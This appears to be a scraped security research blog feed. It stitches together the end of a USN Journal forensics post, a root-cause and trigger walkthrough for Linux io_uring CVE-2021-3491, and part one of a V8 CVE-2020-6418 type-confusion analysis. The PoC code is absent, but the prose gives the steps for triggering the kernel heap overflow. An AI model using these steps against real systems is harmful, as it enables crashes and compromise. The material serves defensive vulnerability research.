Now we will acquire the USN Journal, and enrich the output with The Master File Table and see how this can help us expand our knowledge of application execution using the prefetch for more than the last 8 times. We begin by filtering the results for the “.pf” file extension , “conhost.exe” file name, and for the “DataExtend|DataTruncation|Close” update reasons.

Figure 15. Output of the enriched USN Journal

As shown in the above figure we can see changes that occurred on the “.pf” file of the executable in question, with dates and times beyond the 8 records available within the “.pf” file itself. Here we see more than 54 records for the last 54 times the application was run, and reach the conclusion that it was lunched a month before the last execution date that we got from the prefetch record itself, which is at “2022-09-26 08:22:35”.

 

Conclusion

“$UsnJrnl” contains the change records of all files and folders in a volume. It has two main data steams which are “$J”, and “$MAX”. The “$J” data stream has a forensics value that help investigators gain more information about data within the file system and leverage that for advanced use-cases such as detecting deleted files, TimeStomping and extending the value of Prefetch in windows workstations. The value of the “$UsnJrnl” shrinks when conducting a big scale threat hunting in a big environment and extends when conducting an incident response on a contained set of windows machines.

  

References

CVE-2021-3491: Triggering a Linux Kernel io_uring Overflow

14 November 2022 at 10:15

Introduction:

Linux kernel vulnerability research has been a hot topic lately. A lot of great research papers got published lately. One specific topic that was interesting is io_uring.

At Haboob, we decided to start a small research to investigate one of the published CVEs, specifically CVE-2021-3491. 

Throughout this blogpost, we will explain io_uring fundamentals, its use-case and the advantage it offers. We’ll also walk through CVE-2021-3491 from root-cause to PoC development.

Everyone loves kernel bugs it seems, buckle up for a quick fine ride!         

Why io_uring?

Io_uring is a new subsystem that is rapidly changing and improving. It’s ripe for research!

It’s very interesting to see how it internally works and how it interacts with the kernel.

- io_uring: what is it?

According to the manuals: io_uring is a Linux-specific API for asynchronous I/O. It allows the user to submit one or more I/O requests, which are processed asynchronously without blocking the calling process. io_uring gets its name from ring buffers which are shared between user space and kernel space. This arrangement allows for efficient I/O, while avoiding the overhead of copying buffers between them, where possible. This interface makes io_uring different from other UNIX I/O APIs, wherein, rather than just communicate between kernel and user space with system calls, ring buffers are used as the main mode of communication.


Root Cause:

After checking the io_uring source code commit changes in (fs/io_uring.c), we start tracing the differences between the patched version and the unpatched version, and try to realize the cause of the bug.

We first notice that in struct io_buffer the “len”  is defined as sign int32 that is being used as the length for buffer.



Then, we also notice that in io_add_buffers, when attemping to access the struct: buf->len was assigned without checking the data type and MAX_RW_COUNT.



We found that there is a multiplication (p->len * p->nbufs) in io_provide_buffers_prep which leads to integer overflow when (p->len > 0x7fffffff) executes. Then it will bypass the access check during the access_ok() function call.



When we perform te  IORING_OP_READV operation with the selected buffer, we can bypass the MAX_RW_COUNT:



Using “R/W” on “/proc/self/mem” will force the kernel to handle our request using mem_rw function. From the arguments the “count” is received as size_t then passed to min_t() as an integer which will return a negative number in “this_len”.

Access_remote_vm function will receive “this_len” as a negative number which will result in copying more PAGE_SIZE bytes to the page, which results to a heap overflow.



Triggering the Bug:

We will go through the details of how the bug is triggered to achieve a kernel panic that can lead to a heap overflow.

 

Step1:

The following code snippet will interact with “proc” to open a file descriptor for “/proc/self/mem” and extract an address from “/proc/self/maps” to attempt to read from it:

Step2:

We need to prepare the buffer using the function “io_uring_prep_provide_buffers()” with length 0x80000000 to trigger the integer overflow vulnerability:

Step3:

Using iovec struct with 2 dimensional buffer, we assign the “len” as 0x80000000 to bypass MAX_RW_COUNT:

Step4:

When we do IORING_OP_READV operation on “file_fd” using offset “start_address” we can read the content of “/proc/self/mem” with that offset using the selected buffer:


POC

We can trigger kernel panic with the following PoC:


Resources

https://manpages.ubuntu.com/manpages/lunar/man7/io_uring.7.html

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d1f82808877bb10d3deee7cf3374a4eb3fb582db

Exploring Chrome’s CVE-2020-6418 – Part1

8 December 2022 at 08:57

Introduction:

Chrome vulnerabilities have been quite a hot topic for the past couple of years. A lot of vulnerabilities where caught being exploited in the wild. While most of the ones we looked at were quite interesting, one bug caught our attention and wanted to dig more deeply in: CVE-2020-6418.

Multiple parties published different blogposts about how to exploit this vulnerability. Nevertheless, we decided to go ahead and try to exploit it on Linux.

In this first part of the two-blogs-series, we will walk through the PoC developed along with a root-cause analysis of the vulnerability. Exploitation will be covered in the second part.

 

Analyzing the PoC:

The publicly available PoC:

Unfortunately, running this PoC on the affected V8 version does not trigger due to pointer compression.

After investigating the patch commit of the vulnerability, we noticed a regression test for the bug along with a patched file in turbofan

 

The regression test (PoC) we developed was:

Running the PoC gives us the following output

Root-Cause-Analysis:

Starting with our PoC, we noticed that the bug is a JIT bug which allows us to utilize build-in functions such as push, pop, shift, etc that is in a JSArray which were compiled using the specific elements of the same time that it was JIT’ed for.

In the PoC, the variable a is declared as an int array with values [1,2,3,4] which means that the V8 will create an array with elements of type: PACKED_SMI_ELEMENTS which is just an array of small integers in V8 terminology.

When the function f was JIT’ed, the proxy object that intercepts access changed the type of the array from PACKED_SMI_ELEMENTS to  PACKED_DOUBLE_ELEMENTS which is a different array layout. This is where the type confusion occurs; when the ‘pop’ function is called, it considers the array PACKED_SMI_ELEMENTS instead of its new type PACKED_DOUBLE_ELEMENTS.

We can deduce that the bug occurs because TurboFan does not account for the change of the elements type for the array and assumed that the array’s type will never change based on the context of the function and the type of feedback. To even understand the bug further, lets take a look how TurboFan optimizes JSArray built-in functions.

TurboFan Reduce built-in functions by building a graph of nodes that accomplish the same behavior of the original functions then compiles it to machine code at a later stage.

v8\src\compiler\js-call-reducer.cc

Based on the built-in that is being used, turbofan will optimize it accordingly. In our case, the optimization occurs on the pop function:

The function above is responsible for building a directed graph of edge and control nodes that can be chained with the original sea of nodes and produce the same result of calling the built-in function. This approach is dynamic and supports all kinds of change.

In order for TurboFan to recognize and infer the type of the object that is being targeted for optimization it traverses backwards from the current node to locate where the function got allocated:


The above function attempts to infer the type of the object and this is where the bug will manifest.

Patch Confirmation:

In the next part, we’ll present the steps we used to exploit the type confusion vulnerability.
Stay tuned and as always, happy hunting!

❌
❌